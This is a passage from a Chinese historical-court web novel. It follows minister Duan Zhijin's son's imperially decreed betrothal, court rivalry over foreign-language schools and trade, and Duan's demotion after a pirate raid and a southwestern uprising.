“那就先和母亲、阿娘说了,最后问问锁儿的意思。不过这也不能做准,毕竟八字不一定能合上。” 段之缙颔首,问过母亲,王虞撒手不管,觉得女孩儿虽然年岁大,但她叔父是户部尚书,还有大学士的虚职在身上,对着段之缙的仕途千好万好,自然是喜欢。阿娘一开始觉得女孩儿有些大了,但再看看自家这个杀才,找个年岁大的压压他才好,便也欣然应下来。 等着大人们都商议好了,蒙在鼓里的当事人才能知道这件事情,段之缙把儿子叫到书房来问话,小孩儿十天半个月也不见能被父亲郑重其事地叫一次,且根据以往的经验,多半是祸事 ,便战战兢兢地来了书房,一路上仔细回想这段时间可有过错。 尚书房里是不要紧的,他好颜面,断不肯比别人差,因而每日都是下了苦功夫读书的,爹爹断不会因学问一事责怪自己。 自己这些日子也没有招猫逗狗,无论是娇娇奴还是段一撮都好生养老,绝没折腾过。 难道是前些日子叫大哥偷着给自己带禁书的事情被发现了?可就是些情情爱爱的书,爹他自己也看啊!总不能只许州官放火,不许百姓点灯吧…… 那也说不准,爹娘一向的主张就是“什么岁数干什么样的事情”,难保不是因为看杂书恼了自己。 段之缙叫儿子近前来:“你清楚得很,打年后就一直商量着给你议亲,我之前也问过你,家里有没有喜欢的丫头……”话说着,段诠砰砰跳的小心脏忽然放下,暗舒了一口气,脸色变得有些不自在,眼神也跟着飘忽起来。 段之缙叫他少做这些情态:“男大当婚女大当嫁,你年岁到了就该娶妇,当你爹不知道,你叫你身边的承思跟你娘打听了多少次?” “今日叫你去邹家,可曾见过他们家的姑娘?” 段诠一下子回想起那个添水的女子,懵懵地点头,段之缙便道:“就是那个姑娘。” “是那个?!” 段之缙又叫他不要大惊小怪:“怎得,你大呼小叫些什么?”他说着脸色一变:“你可千万别说这么短短的时日里,你就喜欢上家里的丫头了!”那自己非和邹文掰了不可。 “我上哪喜欢去啊!” 段诠的家教是极严的,他爹娘什么都教导了,但过了七岁便不许丫头伺候,周围一圈全是小子候着,一点儿女色也不准沾,从根儿上斩断了他沾染些恶劣习性的机会。 像施秉文、徐明宣这样家中东西风乱刮,甚至刮到部里去的,纯粹是找死,眼瞧着到现在只升到了郎中。 此外,如长乐王那般教养出不肖子孙,纯粹是讨债来的,因而要从小预防。 小年纪嘛,为着他自己和他爹的将来考虑,好好地长大才是正经事。 眼瞧着前头的哥哥娶亲,段诠也偷偷地想过,好奇地问那长了两岁的堂兄,成亲和现在有什么不一样。 段訚但笑不语,叫他擎等着成亲便什么都知道了。 现在终于轮到了他自己,却没了什么想法,只道:“若爹娘觉得那个女孩儿好,儿子自然也愿意。” 说实话,这样折腾了一遭,不过是叫人家相看了一顿,段诠自己如何有什么计较?他只记得当时匆匆忙忙的,好似是漂亮的。 段之缙道:“跟你说明白,比你长了三岁,今年已经二十岁了,不过我和你娘都很满意。你没和她说过话也不要紧,京城的花会也好办了,那天郊外的御园会开给内城的人玩耍,你还能再看看她。大人们都会给你兜着,远远地说上一两句话是不要紧的。到那时你再跟我说相不中,咱们还能用八字不合的借口推脱,这样谁也拿不住话柄。可若过了花会你还是说听爹娘的,爹娘就给你做主彻底定下来,可再没有反悔一说。” “儿子明白了。” 京中的花会是去年才兴起的聚会,因为往来贸易愈发的频繁,大江南北的花卉汇集京城,连境外的花种都有。 皇帝在潜邸之时就喜欢举办诗会,清明、端午、中秋,场场不落下,登基之后御园直接放开了去,焦长卿时常邀人聚会作乐,皇帝则偷偷出宫登高观看。 现在办花会也是专为了一个“玩”字,还特意给百官们放假,只留几个人当值。 花会当日正是暮春的尾巴,空气里弥漫着一种奇异的、层次分明的芬芳,千百种香气被暖融融的日光蒸腾、糅合,凝成一种馥郁到滴下来的味道,沉甸甸地悬在壶中日月园的亭台楼阁、曲径回廊之间。 大江南北的精华与四海八方的奇珍俱在眼前。 魏紫姚黄的牡丹是园中的老角色了,京中的贵人这么多年也看够了玩够了,没甚意思,此时全挤挤挨挨在一艘巨大的琉璃制西洋船四周,时不时传来啧啧称奇声。 得益于“两口通商”之利,不远万里而来的异国奇葩被精心安置在特设的“海舶珍卉”区域,放在晶莹剔透的西洋玻璃暖房的船型花盆中。郁金香硕大饱满的球根花朵,颜色浓烈到要流下来,贵妇们步摇乱颤,用放大镜细细观赏,时不时发出阵阵欢笑声。 层层侍卫守卫着园子,也不用担心出乱子,整个园子里又都是同僚,彼此之间不是上下级就是同级,只要有长辈同行,连男女大防都松懈了,年轻的男女共处一处,彼此之间客客气气互不干涉。 科举出身的官员们总好附庸风雅,在流觞亭里作诗饮酒,段之缙还带着侄儿段訚与外甥宋兰晫在其中交际,便叫沈白蘋带着儿子去兰花苑找邹家人。 也不知是热的还是因为明知是议亲而紧张,段诠老是出汗,弄得身上一股蒸腾的香气,沈白蘋略带嫌弃地叫他远着些,问道:“你怎么回事儿?承思怎得把你的衣裳熏成这样?” 段诠“啊”了一声,赶紧耸着鼻子闻衣袖,扑头的香气撞在脸上,叫他有些丧气:“阿娘,这下如何是好?” “不如何是好,你慌什么啊?只是叫你和她说说话罢了,只要不逾矩不就好了?” 话这么说,但段诠见着邹家的大姑娘还是有些懵,对面的人一声笑先问了好,故意道:“段弟弟,上一回招待不周,是我的过失,还请你大人不记小人过,宽宥于我。” 段诠瞧人家笑靥如花的样子好容易稳住,顺着人家声声弟弟叫起了姐姐:“是我莽撞,与姐姐何干?还害得姐姐遭邹伯父的训,实在是对不住。” 邹夫人嗤嗤地笑出声,打趣道:“你们姐姐弟弟的倒是亲热,不如叫侄儿与我嫂子认个干儿子,也好成全了你们姐姐弟弟的名分。” 这和原来说得可不一样啊!若成全了姐姐弟弟的名分有了伦常之别,还谈什么男婚女嫁呢? 邹夫人看着段诠一下子急切起来但碍着人来人往又什么都不敢说,更是乐不可支,最后绣帕子往人家肩上一拍:“逗你这个小子的,若是成,就跟你爹说明白,早早地派人来。” 两个孩子俱低头退到长辈身后不再说话,跟着前头的大人赏花逗趣,没再看对方一眼。 而远处的阁楼上,拿着千里眼观察的皇帝将伸出的镜筒转回去,递给旁边伺候的吕太清,含笑跟随同伴驾的灵慧夫妻俩说道:“到这园子里相看来了。” 苏橙也拿出千里眼一看,又惊又喜,“陛下,似乎是段之缙的儿子啊!” 公主也接过千里眼,找寻了一番笑道:“父皇,是段中堂和邹中堂的亲眷。”之前的宫宴上见过,也还说过几句话。 皇帝原本只觉得青春男女可怜可爱,现在到真的提起了几分兴趣,喃喃道:“要结亲?” 本没想着要人回,苏橙却很清楚段诠的年岁,之前也往这上边打过主意,但段之缙就跟听不懂人话一般,暗里拒绝了。苏橙不是热脸贴冷屁股的人,只能作罢。 现在瞧他们的样子该是还没定下来,又想着做个顺水人情,给他们弄个圣上赐婚的好彩头,于是苏橙回道:“应当是,段之缙的儿子到了年岁,邹文也有一个小女,只不过正当岁数的那个刚和唐馥的幼子定下,不知眼前这个是哪个女孩儿。” 皇帝愈发感兴趣,吩咐吕太清把段之缙和邹文叫上来:“连带着那两个孩子一起,若有喜事,朕就给他们定下。” 第149章 149吕太清找到段…… 吕太清找到段之缙和邹文的时候,这二人已经耍到不知天南地北了,胆子也大,专挑着牡丹园里里最大最艳的花采,怀里扑扑棱棱抱着一大捧,不知又要往哪走,祸害哪处的花。 “邹大人,段大人,请留步。” 两个人一齐回头,看见是吕太清不无惊讶:“吕公公您怎么在这?难道皇上……” 吕太清示意他们噤声:“正是,二位大人,主子有请,还叫大人们带上相看的小哥儿和姑娘。” 段之缙笑道:“这也知道?” “自然是我们主子有千里眼了。” 段之缙便吩咐王章去和诗会上的两个小辈说一声,刚才见他俩融进去后自己就带着邹文跑了,若再不说一声就有些不着调。 两个人拿着那一大捧花去了兰花苑,将花与众人分了,姨娘看着他的好孙儿兴高采烈地要拿最大最艳的那朵假嗔道:“你多大了?”又朝着邹三姑娘努努嘴,段诠便悻悻退下。 段之缙调笑道:“可不能叫他俩拿了,得跟着我和邹兄去见人。” 段诠眼睛一扫就看见了吕太清,这个常来尚书房送东西的大太监,便也知道要见谁,难免有些忐忑。 段之缙给他理理衣服,小声道:“别 怕,问什么就答什么,但我心疑皇上是想做媒人了,恐怕现在你就得给我个答复,若真的没看中,我就说是叫你去认干娘。” 段诠回头看着被太太们簇拥着理衣服的邹姐姐,一时间心乱如麻,其实话也只说了一句,仍然是盲婚哑嫁,能有什么区别呢?只不过是叫这两人知道了彼此的长相,日后来往心中好歹有个具体的人像,方便他们培养感情。 段诠以为自己想了很久,实则不过是一瞬间他就抿着嘴点了头,段之缙便去和邹文通气,邹家人顿时喜气洋洋。 等上了阁楼拜见皇上,皇上打量一番底下的跪着的年轻人,问两个大臣:“是在相看吗?” 邹文上前答道:“正是。” 皇帝一下子乐了:“相看得如何?”又叫邹三姑娘起来说话,问道:“叫什么名字?可曾相中了段诠?” “臣女闺名云旗……”她只答了闺名,皇帝后边的问话却开不了口,可又不能不答,只能回:“臣女全凭父亲、母亲做主。” 皇帝捋着胡子,瞧女孩儿的样子便知不能是不乐意,问邹文:“可曾请过冰人了?” “回陛下,臣等预备着先悄悄地合八字,没有冲撞再请冰人上门,这样一切顺遂不至于半途而废。” 皇帝听着兴致勃发,叫他们把八字呈上来:“朕来为你们看看,若是合得上就给他俩赐婚。” 对于一切玄学之事,段之缙认为术业有专攻,虽然信不过皇帝,该叫他测算了还得测算。 也不知皇帝是从哪里掏出来的眼镜,仔仔细细地盯着看了极长的时间,又勾又画,喃喃道:“怪道人家说女大三抱金砖呢,真是兴旺的命格,天作之合。” 半晌又是一蹙眉:“好事多磨……无妨,等着回宫朕就给你们赐婚,叫这一遭避过去。” 皇帝没有明说,但想来也不是什么大事,又为两人推算了婚期,明年七月十三日正是好时候。 两家人欢欢喜喜谢恩,等着接到赐婚圣旨段之缙就请媒人上门提亲,邹家人当场应下。 前头的邹文和段之缙因结两家结秦晋之好而更加亲密,后院里邹云旗和姨娘抱头痛哭。 姨娘哭完抹抹脸又笑:“果然是塞翁失马,焉知祸福。你前头的姐姐和后头的妹妹出嫁的时候,你叔父还没做这般大的官,便也只能去些小门小户,现在咱们家彻底发起来了,阴差阳错竟叫你得了最好的人家。姨娘求太太问过老爷了,段家那小子家口干净,人也有前途,且从不沾花惹草,连个侍妾都没有。他祖母年轻时倒是个厉害的,但现在慈眉善目,不问家事了。” “不过,他家的大情小事都是他那婶母做主,他堂兄更是少年英才,你进了人家的门,不要仗着邹家和段家历来结好,又是中堂的儿媳就耍你的威风。” 邹云旗泪眼婆娑地答应下,开始预备着绣嫁衣。 主院里,邹文的夫人却不怎么睡得着,在榻上翻滚了半天最后还是坐了起来,邹文迷迷糊糊起身给她披上被子,才含糊问道:“怎么不睡?” “我觉着咱们亏得很。” “怎么说?” “段之缙他是京官,还是军机大臣,有内阁大学士的官职和一等公的爵位,这爵位还是世袭罔替的,若是咱们穗儿晚一点议亲,段家可比唐家强得多。” 邹文解释道:“段家是靠奇功发的家。摊丁入亩,改土归流和开口通商,现在的皇上兴致勃勃,可日后的皇上又是什么态度我们是猜不到的。若他的政策能一直延续,他们段家就能长盛不衰,可若这些都被废除了,段之缙得罪了那么一大票人,怕是难以长久。唐馥之功虽不如段之缙,但军功是最稳当的功劳,一辈子安安稳稳吃喝不愁,不会因父兄之罪受牵连才是最难得的日子。” 夫人惊愕失色:“你怎能把云旗往火坑里推啊,她是你的亲侄女!” “这怎么能算得上是火坑!”邹文拉着她的手宽慰:“段之缙还有配享太庙的荣誉在,还有景淳稻这个保底的功劳在,就算最后获罪,新帝总要顾及当今的颜面,顶多是除爵夺官,日后也能回去做富家翁。” 就算株连也没有说把亲家株连了的,对一个二十来岁还没嫁出去的女孩来说,难道不是绝佳的姻缘吗? “人家富得流油,银票都不当着银票用,纯是纸,咱家还是纱糊窗户,他们已经是一溜的玻璃窗了,日后败了归败了,云旗吃不着苦。” 可有权和有钱能一样吗?但她作为婶母,邹云旗也不是亲闺女,能关心到这种地步已经仁至义尽了。 …… 前半年一直忙着,新科殿试阅卷,给侄子操办亲事,为儿子议亲,等着过了六月份才正式走剩下的定亲流程,似乎真有那一纸诏书的庇佑,礼仪都顺理成章地进行,没起半分波澜。 五月端午宴倒是发生了一件大事。 皇帝虽年过知天命,但五十多岁正是奋进的年纪,也可能是主角光环作祟,吃着丹药用着西药和中药,这么多的东西汇集到一处反而叫他愈发精神了,瞧着身强体健,端午宴上亲自射粽赏给太子用。 这似乎是一个政治信号,如一盆凉水泼到沸腾的锅里,原本波涛汹涌的朝廷瞬间平静下来,方叙墨却开始忧心。 毕竟皇帝是这世界上最不可信的人。尤其是皇太子生母眼见着就要不行了,难保皇帝不会念及旧情,真就要当好丈夫,让皇太子顺顺利利登基。 段之缙却不管这些事情,他琢磨着怎样叫皇帝再开一口通商,尤其是北边的罗刹国对国内货物的需求可大着呢,只要在辽河省延边开口通商,不仅黄河大堤能够尽早地修建完成,西南的土人也能拿不少补贴,叫他们安安分分不生事端。 因而下半年虽不轻松,但去了一心腹大患,段之缙心里放松了下去,一边给儿子预备成婚的物件,一边又给侄女、外甥女相看人家,还要成天地在皇帝耳边吹风,劝他设立外文学堂,劝他在辽河开口通商。 “通商一事朝中在议,我瞧着军机、内阁其他人都不太反对,倒是学堂一事朕不太明白,你细细说来。” 段之缙从袖中掏出一本题本,呈给皇帝,又解释道:“臣之拙见,本土的大夫们医治陛下的病症总是困难,前些年陛下龙体欠安,臣夜里不知道流了多少泪,万幸有洋人大夫们给陛下医治,这才叫病气烟消云散。臣想着既然域外有这样的医术,没有不学的道理。若有更好的技艺也没有不学的道理。” 最重要的是蒸汽机,这里有西洋人,有火器,有英语,难保没有蒸汽机。 若有蒸汽机,改天换地也不成问题。 本国造不了不会造没关系,去买、抢、骗,不管用什么法子先弄回来,拆了再重组,泱泱大国别的不成,这点法子还是有的。若是一拖再拖,最后人家起飞了,就是偷到了别人的技术你也复制不出来。 恰巧这屋子里还有两个皇子伺候,纪明祚攒眉问道:“奇技淫巧吗?自行虎那种东西,不过是孩子玩的。再者,洋人还以为治病得放血呢,他们的药也不过一二可信,为了这种东西大费周章,是不是……” 纪明瑚打断他的话:“儿臣倒知道些不一样的,听教我们算学的白先生说,他们有一种叫麦克罗斯科普的镜子,能够看清很小很小的东西,很有意思。” “放大镜尚可以用来给妇人们赏花,要那样的镜子又有什么用呢?” 纪明瑚就真说不出来了,段之缙还在冥思苦想“麦克罗斯科普”是什么镜子,想通后悚然一惊——“microscope”!显微镜他们都有了? “说起来也巧,臣曾在郊外的教堂中同神父说过这个事情。他们说麦克罗斯科普,哦,也就是显微镜,可以用来观察粮食病害、害虫卵和疫病疫气,作用可比给妇人们赏花大多了。” 原本兴致缺缺的皇帝听了段之缙的话才打起精神来,真觉得“显微镜”是个好东西了。 粮食病害、虫卵等与稼穑相关,而大国以农为本,不得不重视。 “段大人,那也不必派人到西洋去吧?叫传教士他们献不就行了?” “只是他们来雍朝以传教为己任,怎会带劳什子显微镜?再者靠人家献能得几台,自己能造,叫农官、太医们研究起来才好尽快出成果。” “父皇……” “好了!”皇帝叫众人都闭嘴,“唔,朝廷现在也不缺钱,先试验试验,倘若没用就全当建了园子叫朕花销了。” 第150章 150从前朝回到后宫,纪明…… 从前朝回到后宫,纪明祚实在是郁闷得很,怏怏地坐在床上,他的嫡妃毓敏上来问:“殿下不是去养心殿了吗?怎么回来怏怏不乐的?可是有什么事情?” 纪明祚牵着毓敏的手:“我就不明白,我们这些做儿子的,难道比不上段之缙?怎么我们说句话父皇还要想想,段之缙说句话,父皇就满口答应。” “父皇他天纵英明,自然是你们说的无理,段中堂他说的有理了。” “有理?我见未必。 父皇一门心思地想着捞钱,这能有什么道理?现在竟然想着要我们和那些洋人学习外文,还要办什么外文学堂?叫我泱泱大国的使臣,到那偏远蛮夷地方去。什么西药,什么显微镜的……难道人老了就会糊涂吗?” 毓敏微微一笑:“妾读《师说》,里边有一句话令妾受益匪浅——是故无贵无贱,无长无少,道之所存,师之所存也。” “你是说向这些外夷学习也没有关系吗?” “闻道有先后,术业有专攻。也许这些洋人就是擅长医药之术,那咱们学习一番倒也无所谓。既然段中堂说,那显微镜什么的有用能够观察病虫,那就先让他用着。父皇的话说的对,总之朝廷又不缺钱,就算最后无功而返,那起码大家瞧了个新鲜不是。” 刚才纪明祚说得有些急,额上冒出了汗,毓敏拿出帕子给他揩了去,又低声劝道:“我知道殿下因着太子的事情心里着急,但是越是着急,越应当以静制动。咱们只要安安心心办差,老老实实听话,殿下您的能力是要比太子强的。” 纪明祚终于歇下了一口气,握着毓敏的手说:“幸好还有你劝慰着我。” 与此同时,纪明瑚也真不愧是纪明祚一母同胞的亲兄弟,也在承明殿珮仁轩里气愤不已。 他张口骂骂咧咧道:“怎么我说话就不叫话,段之缙一张嘴皇帝就答应下来?到底谁是亲儿子……” 还有上次纪明的事情,本以为父皇会对他嘉奖,没想到他和纪明祚一个待遇,差事一体卸下,重回尚书房读书,算计了一顿白算计了吗? 纪明瑚心里烦闷,嘴上喋喋不休地说,养心殿内的事情也就说了个□□成,但珮仁轩里乌泱泱的妻妾没一个理他的,做女红的做女红,陪孩子玩耍的便陪孩子玩耍。 侧妃陈宝珍一口银牙咬断手上的丝线,绣了半年的裙子终于大功告成,花团锦簇一大片。 她伸伸手招来陪着焕儿玩的王妃,让她在自己面前站定,举着衣裳比了比,身边绥王的另一个侧妃李氏倾身过来说道:“小了些,咱们王妃今年长了不少,腰肢儿也粗了,得改一改。” 陈宝珍摸摸王妃的腰,迟疑道:“这绦子长,系上不会显小吧……”她叫双喜带着王妃去后边换,果然如李侧妃所言,绦子比估量着的短了一截,看来不仅是长胖了,还长高不少,但主要还是胖的。 陈宝珍有些气地摸摸王妃的肚子,恼道:“怎得胖了这么老些?” 纪明瑚自己叨叨叨一顿,没个人理他,便冷冷说道:“能不胖吗?一顿吃三碗,我一天都吃不了那老些白米饭。幸得还有个王爵在身上,一年能拿一万两的俸禄银子,若非如此,怎么能养得了她。” 王妃又羞又气,指着他说不出话,陈宝珍把她的手指一压,朝着纪明瑚讥诮道:“她能吃嚼多少东西?吃得壮壮的身子也康健,如若不然,跟某些人似的一天三顿药才有的花销呢。若不是皇上恩赐叫他吃药不花银子,一万两的俸禄也得跟着这个参那个草的填进去。” “对了,某些人还很不知感恩,当着我们这么多人的面抱怨皇上,真是一点儿良心也不讲了,难道真是觉得儿子花老子的钱是天经地义?” 她这一番话说的刻薄极了,原本还嘻嘻笑笑的珮仁轩里一片死寂,连个人声也没有。 这话陈宝珍敢说,其他人敢听吗? 纪明瑚气得脸色泛青,指着陈宝珍“你,你,你……”了一顿,最后打也不是骂也不是,只能把帕子盖脸上哭:“吃着我的用着我的,说个话你们都不耐烦听,还说这些来气我,哪天真把我气死了,叫你们一大群全守寡就舒坦了,叫你们独占着这个承明殿就开怀了!” 他的脾气,这屋头里没一个不知道的,若是真哭了,哭过之后也就好了,反而不会再有什么后果,可若是真要动真格的,却冷着脸不哭,直接罚人。 现下没了事情,大家该干什么干什么去,王妃带着焕儿一块玩九连环,陈宝珍就任绥王蒙着脸哭,连问也不问一声。李侧妃看不下去,贴耳说道:“好姐姐,还是哄一哄吧,真哭成了肿眼泡,不仅皇后娘娘要问,连着太后娘娘也要问呢,咱们没法解释啊!” 陈宝珍撇撇嘴,从抽屉里拿出个早就绣好了的荷包唤纪明瑚过来,略说了两句也就哄好了,恰巧这个时候焕儿解九连环解乏了,最后将那玉制的东西砰的一下摔在地上,摔了个粉碎,只剩下木制的骨架还完好无损。 大家全都吓一跳,双喜赶紧上去检查煜儿的脸、手、脚,确保都没有划伤才放下心。 焕儿小脸一迎朝着王妃骄傲道:“母亲您瞧,这不就解开了?”逗得王妃乐不可支,夸他聪明。 陈宝珍眼一瞪气道:“你这个祸害东西的杀才,解不开就解不开,等你长大了,自然解开,现在把它摔了个粉碎,这可是皇上赐下来的!” 可除了她,并无一人把这当回事儿,不过是些死石头,碎了就碎了。 整个承明殿,何物不是皇上所赐。 南边儿寸金寸缕的锦缎子,北边墨狐腋窝毛攒成的的罩衣,西边整块儿白玉雕出来的花瓶,还有东边海螺里剜出来的珍珠,就算是西洋最新的报时鸟在承明殿都不算什么好东西,更何况是个九连环。 素来金漆佛像玉做观音,更何况这里还有个信佛的皇子,自然是数之不尽的奇珍异宝。 但无论他们如何的义愤填膺、愤恨难平,外文学堂仍然是在限定时间内建造了起来,第一批学生就是庶常馆的庶吉士们,里边的二甲第一名孙长科是段之缙提上去的,段之缙又常提点他,两个人关系便很亲密,颇有几分师生之谊,因而段之缙这次又提点他要好生学习外文:“说不定你的前途不在京中一亩三分地里,而是在外边,在海上。虽说不一定,但能多学一点总比少学一点儿好。” 孙长科深施一礼:“多谢中堂大人,学生定然不负大人厚望。” “你只要能对得起自己就成,说这些实属无用。” 外文馆的先生多是京内教堂的神父,一边授课,一边偷偷摸摸地传教,但这些人都是饱读了圣贤教诲的士子,过五关斩六将的进士,怎么会改信基督? 这也是段之缙叫庶吉士们做第一批学生的原因。 眼见着段家在京内蒸蒸日上,段之缙把个皇帝哄得言听计从,华夷大防都顾不得了,又要在辽河开口通商,谁不知道段之缙的妹夫,皇帝的亲信宋征舆在那里任总督,开口之后银子哗啦啦地流进来,不是他的功劳也能算在他的头上,众多官员难免心有戚戚,很是看不惯段之缙。 还有长乐王,上回就记恨秦行与他师生二人,只是秦行都乞骸骨回家去 了,也算是盖“棺”定论,再没必要整他,但段之缙成日围着皇帝打转,实在是令人心烦。 得找个时机整他一整才是。 这个时机来得很快,甚至可以说是一窝蜂来的,先是倭寇侵扰,淮宁水师竟然一败涂地,若不是步军顶上,怕河田府都要被劫掠一空。 再是西南苗乱,改土归流十余年后,燧明,这个最先归顺的地方竟然揭竿而起,协同乌蒙将驻在域内的汉军尽数杀害,与朝廷对抗。 久违的一场御门听政,这次连个章程都没有,内阁学士、军机大臣和六部尚书和亲王皇子全都挤到了前边,吵得皇帝头痛欲裂。 长乐王先看出了皇帝神情不好,叫众人安静下来,问皇帝应该怎么办。 皇帝反问道:“你说呢?” 皇帝的意思是叫他起头,领着大家保一保段之缙,但长乐王一掀袍子跪下,张口就道:“臣以为倭寇侵扰一事已经结束,要紧的是安抚百姓、重建水师,苗乱让西南军联合其他未反的土司平定。至于此二者,土人本属夷族,与我华夏分别,本就不可信,陛下将朝廷名器赐予他们也是受人蒙蔽。而河田府,若无开口通商,则无倭寇,更无被侵扰的百姓。还请皇上乾刚独断。” 他这话都说到了这个份上,还有皇帝乾刚独断的余地吗? 其他的人听着纷纷附和,兵部尚书更是直指段之缙:“陛下,还请将始作俑者革职查办,以息民愤!” 邹文老神在在地兜着手,一言不发,他心里琢磨着是否退亲,毕竟朋友是旧的,但侄女可是亲的啊!虽早就料想到可能有这么一遭,但属实是没想到祸事这般大。不过也幸好定了亲成了准亲家,今日的事情能够避嫌,否则自己又要陷入两难的境地,向着谁说话都不好意思。 都说是皇帝的闺女不愁嫁,难道尚书的侄女就愁着嫁了吗?只是愁着不能门当户对。今年有个年岁极小尚未娶亲的庶吉士,少年英才,虽说门不当户不对,但把云旗嫁过去倒也恰好能压住了他。 邹文想东想西,郑楒琅作为长乐王曾经的属官,却不怕长乐王,上前驳道:“现在事情究竟如何尚未可知,苗民因何而反也还没有查清,倘若现在即刻处置了段之缙是否有失公允?再者开口通商获利甚大,自古没有十全十美的事情,倭寇也在意料之中,不过臣倒是想问问兵部,这两年你们练的什么兵,建的什么水师!我泱泱大国被弹丸之地的倭寇打得在海面上乱窜,兵部是干什么吃的!”【你现在阅读的是 】 150-160 第151章 151“你,你……”兵部尚…… “你,你……”兵部尚书脸都青了,郑楒琅的话无异于打他的脸,其暗指更是掉脑袋的罪过。 “陛下,臣实在是冤枉,您也知道我朝历来是不设水师的,现在的规模还是臣一点一点摸索着……陛下,臣就算是愚笨,可从未敢懈怠,臣……” 郑楒琅正色道:“兵部尚书的要职,不是给勤快人做的,是给有能力的人做的。皇上,此次水师大败兵部有无可推卸的责任,尚书更是首当其冲!请陛下严查!” 皇帝一瞬间神清气爽,“你说完了吗?” “臣还没有说完。西南土司在段之缙任总督之时从无反心,怎么段之缙走了将将两年,燧明这样处于劣势,一向对朝廷言听计从的部族都反了?还有乌蒙一族,他们现任的土司和县令正是当时杀了前土司的克勤。克勤一介草民,为了粮食不要土司的爵位,又能为了县令的职位在三年内生生学会汉话,这样的人穿上官袍后联合旁人造反?诸位,这话说出来不可笑吗?” 长乐王垂目不知道在想些什么,头一扬为难道:“现在不是论是非对错的时候,是要解决事情平息民愤,臣想段中堂也应当愿意为了陛下的圣明承担起责任,卸下差事。这样暂时有人担责,也好对朝廷,对百姓有个交代。段中堂说呢?” 段之缙刚想说话,皇帝叫他闭嘴,反而叫邹文说说自己的看法。 邹文叫皇帝喊得一个怔愣,一瞬间没反应过来。 怎么叫他说,准亲家该避嫌才是。 所有人的目光都集中在邹文身上,长乐王一派略带威胁的,郑楒琅略有期待的,苏橙若有所思的,方叙墨为难的。 还有皇帝,黑洞洞的眼睛里隐含着威压。 邹文的额角泌出来汗,心中苦笑一声:“果然果然,没事儿还是要老老实实办差,再也不能去揣摩皇帝的心思了。他肠子里的弯弯绕绕岂是能叫人回回猜中的?” 邹文不想得罪长乐王,但箭在弦上,不得不发了,他上前跪奏:“臣与段家有亲,按理说臣不应该在此事上提议,但既然陛下叫臣说话,臣也只能说了。正如郑楒琅所言,段之缙非为有罪之人,陛下不应当将其论罪议处。改土归流的确有效,十余年间未有一名土司造反,是段之缙走后才出现了苗乱。且臣在户部,一分一文之进出都在臣眼中,开口之后银两增加了多少,灾是如何赈的,河堤是如何建的,臣再清楚不过。” 皇帝欣慰一笑:“对嘛,有什么说什么,孰是孰非朕自有决断。” 可是长乐王说的没错,地方官要处理,京官也要抓一个出来负责的。若是不要段之缙来,那就是理藩院和兵部的长官遭殃。 但段之缙心里明镜一般,要是叫这些杀才担责,他们首要的提议就是闭关,干脆自己回家去,保下改土归流和开口通商。 “陛下,这次河田府的倭寇和西南的苗乱都是臣思虑不全的过错。请陛下将臣革职查办,任贤良之能人继续完善两个政策。至于辽河省通商一事,臣相信宋征舆是可以做好的。” 现在想想似乎也只有这么个办法了,但皇帝不准备将他查办,只先革职回家待着。正当皇帝准备下旨的时候,刚才莫不做声、一言不发的纪明瑚突然上前说道:“儿臣知道段大人为是一甲探花出身,不如叫他先到尚书房来教导儿臣吧。儿臣想要一名新的师傅。” 皇帝皱眉,大家正在火烧眉毛地处理正事,他又说起了尚书房读书的事情,正嫌纪明瑚看不清形势的时候,苏橙突然突然凑过来耳语:“陛下若是将段之缙革职,那他可就真的回家了。倒不如先将段之缙军机大臣和内阁学士的差事卸下去,然后任他为皇子师。尚书房与养心殿不过是几步之隔,若是陛下想要召见也丝毫不费力气。” 这倒说的没错。倒真不如让段之缙去做纪明瑚的先生,白日教导着皇子,没事儿来养心殿出出主意。 “那就如绥王所言,你先在家里准备准备,等着过了年就到尚书房来吧。也正好叫你在家中张罗着,明年七月里给段诠迎妇能不那么匆忙。” 段之缙领旨谢恩,其他人面面厮觑。 好家伙,兴师动众地来了,又轻轻地放下。 但皇帝从没有与人商量的时候,大家都捏着鼻子认下,待日后再做打算。 现在已经是冬天了,段之缙心里比外边的寒风都冷,闹到了最后,原来只有郑楒琅还肯为他说句话,但仍带有一丝庆幸,庆幸改土归流和开口通商保了下来。 想着想着心里又乐了起来,兜兜转转,当初不如学师范。 回到家中,上至母亲下至烧火的小子,全都安安静静的,生怕哪一句话戳中了他的伤心事,叫他心情更不好。 但段之缙反而叫来段诠摸摸他的脑袋:“这些天在尚书房里,可有人难为你?三皇子对你如何?” 他是怕自己塌了,连累儿子在尚书房里吃瓜落。 “大家本就不太理我,再者我是去上课的,又不是交朋友的,不理就不理吧。三皇子待我一如既往,多有照顾,从不为难我。” 那纪明祚的确能叫一声正人君子。 段之缙展颜一笑:“转头过了年,爹就去尚书房给你们上课,叫你在我的眼皮子底下。” 段诠笑容一僵,着急地问道:“那爹是教授哪一位皇子?” “是小绥王,问这个做什么?” “儿子就是问问……” 实则他心里心虚得紧。 与刚才说的不同,他在尚书房还是交了朋友的,正是唐雅源,两个混账凑在一处,除了绥王有闲心的时候管一管,三皇子看不下去的时候提醒一番,哪个还能说句话? 与其说其他人不理段诠,倒不如说是不敢理段诠。 这下好了,怕是年后要被爹抓个正着。 大家在旁边觑着,见段之缙一切如常,不管是真的还是装的,也总算是放下心来,沈白蘋上前宽慰道:“如今这般就对了,在官场上有几个不曾起起伏伏的?你一路高升,虽被人参来参去,但我心里属实是担忧,如今真被罚了反倒叫我放心。” 段之缙四处看一看,发现连家里的老猫都静悄悄地夹尾巴,禁不住苦笑:“我好歹四十多岁的人了,如何经不住这个?就是回家歇歇,也正好抓抓你们几个小子的功课。” 他又把段诠提溜去了书房单独问话:“甭以为你不用科举就三天打鱼两天晒网的,你要是想做官还得老老实实 地去考试,若是不想做官才好玩耍。说起来你也十七八了,该通点人气,以后的事情也该考虑清楚,到底是要做官还是要做什么?” “现在吗?” “就是现在。”因为他不可能永远给绥王授课,怕是风头过去又要回军机处。 段诠纠缠着手指迟疑道:“我也不知道,我……” “四书五经你学得很不错,但你学得舒服吗?” 段诠低头说:“儿子觉得里边的许多话都是错的,儿子全都不赞同。” “其实我心里一直都有个想法,送你去域外读书,去学学他们的东西。” 段诠猛然抬起了头:“域外?蛮夷的地方?我怎么能去哪里呢?” “可是我们的水师已经被蛮夷打败了!”段之缙吐出一口气,从听说显微镜时起他就一直难以成眠,“打仗打赢了的一方永远不会是蛮夷。你只知道河田府打了败仗,却不知朝廷在水师上下了血本,商人们也不断捐纳,就为了能保护通商,结果到最后这个样子,被人打得如同丧家之犬,船都成了碎渣子,对得起谁?皇帝已经决定先从国库里掏出来银两把商人捐纳的钱还回去。” “可咱们有炮啊,怎么会?” 